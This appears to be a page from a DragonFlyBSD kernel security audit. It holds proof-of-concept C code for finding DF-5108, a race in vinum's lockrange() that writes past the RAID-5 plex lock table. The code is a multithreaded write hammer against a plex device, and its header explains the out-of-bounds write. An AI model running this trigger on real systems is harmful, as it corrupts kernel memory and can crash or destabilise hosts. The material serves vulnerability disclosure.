⬢ DragonFlyBSD Kernel Audit
DF-5108 / lockrange_race.c
← back to finding ↓ download raw
/*
 * DF-5108 PoC: vinumlock.c lockrange() OOB write past plex->lock[PLEX_LOCKS]
 *
 * Strategy: a RAID-5 plex takes one rangelock slot per in-flight request
 * group (bre5 sets rqg->lockbase, launch_requests -> lockrange).
 * With >= 256 concurrently in-flight, conflict-sleeping and newly-arriving
 * writers on other CPUs, the woken sleeper can find the table full at its
 * rescan: pos stays NULL, pos = &plex->lock[256] (one past the 4 KB
 * kmalloc'd table), and lockrange writes {stripe, bp} there and increments
 * usedlocks past PLEX_LOCKS (the '==' check is then defeated forever).
 *
 * Hammer: N threads pwrite()ing at random stripe-aligned offsets from a
 * small stripe pool (frequent same-stripe conflicts => tsleep in the scan)
 * with enough distinct stripes to fill the 256-slot table.
 *
 * build: cc -O2 -pthread -o lockrange_race lockrange_race.c
 * usage: ./lockrange_race <dev> <threads> <seconds> <nstripes> <io_bytes>
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

static volatile int stop = 0;
static int fd;
static long nstripes;
static long stripe_bytes;
static long io_bytes;

static void *
worker(void *arg)
{
	long id = (long)arg;
	unsigned seed = (unsigned)(id * 7919 + 13);
	char *buf;
	long ops = 0, errs = 0;

	buf = valloc(io_bytes);
	if (buf == NULL) {
		perror("valloc");
		return (NULL);
	}
	memset(buf, (int)(id & 0xff), io_bytes);

	while (!stop) {
		long s = rand_r(&seed) % nstripes;
		off_t off = (off_t)s * (off_t)stripe_bytes;
		if (pwrite(fd, buf, io_bytes, off) < 0)
			errs++;
		ops++;
	}
	free(buf);
	fprintf(stderr, "thread %ld: %ld ops, %ld errors\n", id, ops, errs);
	return (NULL);
}

int
main(int argc, char **argv)
{
	long nthreads, seconds, i;
	pthread_t *tids;

	if (argc != 6) {
		fprintf(stderr,
		    "usage: %s <dev> <threads> <seconds> <nstripes> <io_bytes>\n",
		    argv[0]);
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		perror(argv[1]);
		return (1);
	}
	nthreads = atol(argv[2]);
	seconds = atol(argv[3]);
	nstripes = atol(argv[4]);
	stripe_bytes = 64 * 512;	/* raid5 64s stripes, as configured */
	io_bytes = atol(argv[5]);

	tids = calloc(nthreads, sizeof(*tids));
	for (i = 0; i < nthreads; i++)
		pthread_create(&tids[i], NULL, worker, (void *)i);
	fprintf(stderr, "hammering %s: %ld threads, %ld s, %ld stripes, %ld-byte writes\n",
	    argv[1], nthreads, seconds, nstripes, io_bytes);
	sleep(seconds);
	stop = 1;
	for (i = 0; i < nthreads; i++)
		pthread_join(tids[i], NULL);
	fprintf(stderr, "done\n");
	return (0);
}